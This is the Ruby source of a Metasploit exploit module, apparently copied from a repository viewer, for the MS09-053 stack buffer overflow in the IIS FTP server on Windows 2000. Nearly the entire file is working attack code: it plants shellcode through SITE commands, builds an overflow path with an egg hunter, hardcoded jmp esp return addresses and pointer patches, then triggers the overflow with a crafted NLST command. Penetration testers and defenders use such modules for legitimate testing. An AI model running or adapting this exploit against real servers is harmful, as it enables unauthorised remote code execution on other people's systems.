Path: blob/master/modules/exploits/windows/ftp/ms09_053_ftpd_nlst.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Ftp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'MS09-053 Microsoft IIS FTP Server NLST Response Overflow',15'Description' => %q{16This module exploits a stack buffer overflow flaw in the Microsoft IIS FTP17service. The flaw is triggered when a special NLST argument is passed18while the session has changed into a long directory path. For this exploit19to work, the FTP server must be configured to allow write access to the20file system (either anonymously or in conjunction with a real account)21},22'Author' => [ 'Kingcope <kcope2[at]googlemail.com>', 'hdm' ],23'License' => MSF_LICENSE,24'References' => [25['EDB', '9541'],26['CVE', '2009-3023'],27['OSVDB', '57589'],28['BID', '36189'],29['MSB', 'MS09-053'],30],31'DefaultOptions' => {32'EXITFUNC' => 'process',33},34'Privileged' => true,35'Payload' => {36'Space' => 490,37'BadChars' => "\x00\x09\x0c\x20\x0a\x0d\x0b",38# This is for the stored payload, the real BadChar list for file paths is:39# \x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x22\x2a\x2e\x2f\x3a\x3c\x3e\x3f\x5c\x7c40'StackAdjustment' => -3500,41},42'Platform' => [ 'win' ],43'Targets' => [44[45'Windows 2000 SP4 English/Italian (IIS 5.0)',46{47'Ret' => 0x773d24eb, # jmp esp in activeds.dll (English / 5.0.2195.6601)48'Patch' => 0x7ffd7ffd # works for off-by-two alignment49},50],51[52'Windows 2000 SP3 English (IIS 5.0)',53{54'Ret' => 0x77e42ed8, # jmp esp in user32.dll (English / 5.0.2195.7032)55'Patch' => 0x7ffd7ffd # works for off-by-two alignment56},57],58[59# target from TomokiSanaki60'Windows 2000 SP0-SP3 Japanese (IIS 5.0)',61{62'Ret' => 0x774fa593, # jmp esp in ?? (Japanese)63'Patch' => 0x7ffd7ffd # works for off-by-two alignment64},65],66],67'DisclosureDate' => '2009-08-31',68'DefaultTarget' => 0,69'Notes' => {70'Reliability' => UNKNOWN_RELIABILITY,71'Stability' => UNKNOWN_STABILITY,72'SideEffects' => UNKNOWN_SIDE_EFFECTS73}74)75)7677register_options([Opt::RPORT(21),])78end7980def exploit81connect_login8283based = rand_text_alpha_upper(10)8485res = send_cmd(['MKD', based ], true)86print_status(res.strip)8788if (res !~ /directory created/)89print_error("The root directory of the FTP server is not writeable")90disconnect91return92end9394res = send_cmd(['CWD', based ], true)95print_status(res.strip)9697egg = rand_text_alpha_upper(4)98hun = "\xB8\x55\x55\x52\x55\x35\x55\x55\x55\x55\x40\x81\x38#{egg}\x75\xF7\x40\x40\x40\x40\xFF\xE0"99100# This egg hunter is necessary because of the huge set of restricted characters for directory names101# The best that metasploit could so was 133 bytes for an alphanum encoded egg hunter102# The egg hunter above was written by kcope and searches from 0x70000 forward (stack) in order103# to locate the real shellcode. The only change from the original hunter was to randomize the104# prefix used.105106# Store our real shellcode on the stack1071.upto(5) do108res = send_cmd(['SITE', egg + payload.encoded.gsub("\xff", "\xff\xff") ], true)109end110111# Create the directory path that will be used in the overflow112pre = rand_text_alpha_upper(3) # esp+0x28 points here113pst = rand_text_alpha_upper(210) # limited by max path114115pst[0, hun.length] = hun # egg hunter116pst[90, 4] = [target['Patch']].pack('V') # patch smashed pointers117pst[94, 4] = [target['Patch']].pack('V') # patch smashed pointers118pst[140, 32] = [target['Patch']].pack('V') * 8 # patch smashed pointers119pst[158, 4] = [target.ret].pack("V") # return120pst[182, 5] = "\xe9" + [-410].pack("V") # jmp back121122# Escape each 0xff with another 0xff for FTP123pst = pst.gsub("\xff", "\xff\xff")124125print_status("Creating long directory...")126res = send_cmd(['MKD', pre + pst ], true)127print_status(res.strip)128129srv = Rex::Socket::TcpServer.create(130'LocalHost' => '0.0.0.0',131'LocalPort' => 0,132'SSL' => false,133'Context' => {134'Msf' => framework,135'MsfExploit' => self,136}137)138139add_socket(srv)140141begin142thr = framework.threads.spawn("Module(#{self.refname})-Listener", false) { srv.accept }143144prt = srv.getsockname[2]145prt1 = prt / 256146prt2 = prt % 256147148addr = Rex::Socket.source_address(rhost).gsub(".", ",") + ",#{prt1},#{prt2}"149150res = send_cmd(['PORT', addr ], true)151print_status(res.strip)152153print_status("Trying target #{target.name}...")154155res = send_cmd(['NLST', pre + pst + "*/../" + pre + "*/"], true)156print_status(res.strip) if res157158select(nil, nil, nil, 2)159160handler161disconnect162ensure163thr.kill164srv.close165end166end167end168169170